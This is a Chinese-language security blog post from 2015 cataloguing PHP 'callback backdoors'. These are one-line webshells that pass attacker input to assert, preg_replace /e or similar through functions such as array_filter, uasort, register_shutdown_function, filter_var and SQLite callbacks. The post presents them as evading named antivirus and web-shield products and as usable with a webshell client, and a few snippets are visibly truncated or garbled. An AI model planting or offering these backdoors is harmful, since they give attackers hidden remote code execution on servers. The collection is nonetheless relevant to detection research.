创造tips的秘籍——PHP回调后门 phith0n · 2015/07/20 10:58 0x00 前言 最近很多人分享一些过狗过盾的一句话,但无非是用各种方法去构造一些动态函数,比如'''$_GET['func']($_REQUEST['pass'])'''之类的方法。万变不离其宗,但这种方法,虽然狗盾可能看不出来,但人肉眼其实很容易发现这类后门的。 那么,我就分享一下,一些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。 有很多朋友喜欢收藏一些tips,包括我也收藏了好多tips,有时候在渗透和漏洞挖掘过程中很有用处。 一句话的tips相信很多朋友也收集过好多,过狗一句话之类的。14年11月好像在微博上也火过一个一句话,当时也记印象笔记里了: 最近又看到有人在发这个:http://www.secoff.net/archives/436.html 有同学收集tips,就有同学创造tips。那么我们怎么来创造一些过狗、过D盾、无动态函数、无危险函数(无特征)的一句话(后门)? 根据上面这个pdo的一句话,我就可以得到一个很具有普适性的结论:php中包含回调函数参数的函数,具有做后门的潜质。 我就自己给这类webshell起了个名字:回调后门。 0x01 回调后门的老祖宗 php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了: call_user_func('assert', $_REQUEST['pass']); assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用。 这个后门,狗和盾都可以查到(但是狗不会拦截): 可php的函数库是很丰富的,只要简单改下函数安全狗就不杀了: call_user_func_array('assert', array($_REQUEST['pass'])); '''call_user_func_array'''函数,和'''call_user_func'''类似,只是第二个参数可以传入参数列表组成的数组。如图: 可见,虽然狗不杀了,D盾还是聪明地识别了出来。 看来,这种传统的回调后门,已经被一些安全厂商盯上了,存在被查杀的风险。 0x02 数组操作造成的单参数回调后门 进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。 我最早想到个最“简单好用的”: $e = $_REQUEST['e']; $arr = array($_POST['pass'],); array_filter($arr, base64_decode($e)); '''array_filter'''函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用(此后的测试环境都是开着狗的,可见都可以执行): 这个后门,狗查不出来,但D盾还是有感应,报了个等级3(显然比之前的等级4要低了): 类似'''array_filter''','''array_map'''也有同样功效: $e = $_REQUEST['e']; $arr = array($_POST['pass'],); array_map(base64_decode($e), $arr); 依旧被D盾查杀。 果然,简单的数组回调后门,还是很容易被发现与查杀的。 0x03 php5.4.8+中的assert php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition: 这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。 比如如下回调后门: $e = $_REQUEST['e']; $arr = array('test', $_REQUEST['pass']); uasort($arr, base64_decode($e)); 这个后门在php5.3时会报错,提示assert只能有一个参数: php版本改作5.4后就可以执行了: 这个后门,狗和盾是都查不出来的: 同样的道理,这个也是功能类似: $e = $_REQUEST['e']; $arr = array('test' => 1, $_REQUEST['pass'] => 2); uksort($arr, $e); 再给出这两个函数,面向对象的方法: // way 0 $arr = new ArrayObject(array('test', $_REQUEST['pass'])); $arr->uasort('assert'); // way 1 $arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2)); $arr->uksort('assert'); 再来两个类似的回调后门: $e = $_REQUEST['e']; $arr = array(1); $e = $_REQUEST['e']; $arr = array($_POST['pass']); $arr2 = array(1); array_udiff($arr, $arr2, $e); 以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。 我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的) 0x04 三参数回调函数 有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如'''array_walk'''。 '''array_walk'''的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在0x03中说了,两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受三个参数,那就好办了: php中,可以执行代码的函数: 1. 一个参数:'''assert''' 2. 两个参数:'''assert (php5.4.8+''') 3. 三个参数:'''preg_replace /e模式''' 三个参数可以用'''preg_replace'''。所以我这里构造了一个'''array_walk'''+ '''preg_replace'''的回调后门: $e = $_REQUEST['e']; $arr = array($_POST['pass'] => '|.*|e',); array_walk($arr, $e, ''); 如图,这个后门可以在5.3下使用: 但强大的D盾还是有警觉(虽然只是等级2): 不过呵呵,PHP拥有那么多灵活的函数,稍微改个函数('''array_walk_recursive''')D盾就查不出来了: $e = $_REQUEST['e']; $arr = array($_POST['pass'] => '|.*|e',); array_walk_recursive($arr, $e, ''); 不截图了。 看了以上几个回调后门,发现preg_replace确实好用。但显然很多WAF和顿顿狗狗的早就盯上这个函数了。其实php里不止这个函数可以执行eval的功能,还有几个类似的: mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e'); 另一个: echo preg_filter('|.*|e', $_REQUEST['pass'], ''); 这两个一句话都是不杀的: 好用的一句话,且用且珍惜呀。 0x05 无回显回调后门 回调后门里,有个特殊的例子:ob_start。 ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了,所以这样的一句话没法用菜刀连接: ob_start('assert'); echo $_REQUEST['pass']; ob_end_flush(); 但如果执行一个url请求,用神器cloudeye还是能够观测到结果的: 即使没输出,实际代码是执行了的。也算作回调后门的一种。 0x06 单参数后门终极奥义 '''preg_replace'''、三参数后门虽然好用,但/e模式php5.5以后就废弃了,不知道哪天就会给删了。所以我觉得还是单参数后门,在各个版本都比较好驾驭。 这里给出几个好用不杀的回调后门 $e = $_REQUEST['e']; register_shutdown_function($e, $_REQUEST['pass']); 这个是php全版本支持的,且不报不杀稳定执行: 再来一个: $e = $_REQUEST['e']; declare(ticks=1); register_tick_function ($e, $_REQUEST['pass']); 再来两个: filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert')); 这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。 这几个单参数回调后门非常隐蔽,基本没特征,用起来很6. 0x07 数据库操作与第三方库中的回调后门 回到最早微博上发出来的那个sqlite回调后门,其实sqlite可以构造的回调后门不止上述一个。 我们可以注册一个sqlite函数,使之与assert功能相同。当执行这个sql语句的时候,就等于执行了assert。所以这个后门我这样构造: $e = $_REQUEST['e']; $db = new PDO('sqlite:sqlite.db3'); $db->sqliteCreateFunction('myfunc', $e, 1); $sth = $db->prepare("SELECT myfunc(:exec)"); $sth->execute(array(':exec' => $_REQUEST['pass'])); 执行之: 上面的sqlite方法是依靠PDO执行的,我们也可以直接调用sqlite3的方法构造回调后门: $e = $_REQUEST['e']; $db = new SQLite3('sqlite.db3'); $db->createFunction('myfunc', $e); $stmt = $db->prepare("SELECT myfunc(?)"); $stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT); $stmt->execute(); 前提是php5.3以上。如果是php5.3以下的,使用sqlite_*函数,自己研究我不列出了。 这两个回调后门,都是依靠php扩展库(pdo和sqlite3)来实现的。其实如果目标环境中有特定扩展库的情况下,也可以来构造回调后门。 比如php_yaml: $str = urlencode($_REQUEST['pass']); $yaml = << 'preg_replace')); 还有php_memcached: $mem = new Memcache(); $re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);')); $mem->connect($_REQUEST['pass'], 11211, 0); 自行研究吧。 0x08 其他参数型回调后门 上面说了,回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办? 举个例子,php5.5以后建议用'''preg_replace_callback'''代替'''preg_replace'''的/e模式来处理正则执行替换,那么其实'''preg_replace_callback'''也是可以构造回调后门的。 '''preg_replace_callback'''的第二个参数是回调函数,但这个回调函数被传入的参数是一个数组,如果直接将这个指定为assert,就会执行不了,因为assert接受的参数是字符串。 所以我们需要去“构造”一个满足条件的回调函数。 怎么构造?使用create_function: preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']); “创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert。 这也是一个不杀不报稳定执行的回调后门,但因为有create_function这个敏感函数,所以看起来总是不太爽。不过也是没办法的事。 类似的,这个也同样: mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']); 再来一个利用CallbackFilterIterator方法的回调后门: $iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);')); foreach ($iterator as $item) { echo $item;} 这里也是借用了create_function来创建回调函数。但有些同学就问了,这里创建的回调函数只有一个参数呀?实际上这里如果传入assert,是会报错的,具体原因自己分析。 0x09 后记 这一篇文章,就像一枚核武器,爆出了太多无特征的一句话后门。我知道相关厂商在看了文章以后,会有一些小动作。不过我既然敢写出来,那么我就敢保证这些方法是多么难以防御。 实际上,回调后门是灵活且无穷无尽的后门,只要php还在发展,那么就有很多很多拥有回调函数的后门被创造。想要防御这样的后门,光光去指哪防哪肯定是不够的。 简单想一下,只有我们去控制住assert、preg_replace这类函数,才有可能防住这种漏洞。 [link](http://drops.wooyun.org/tips/7279)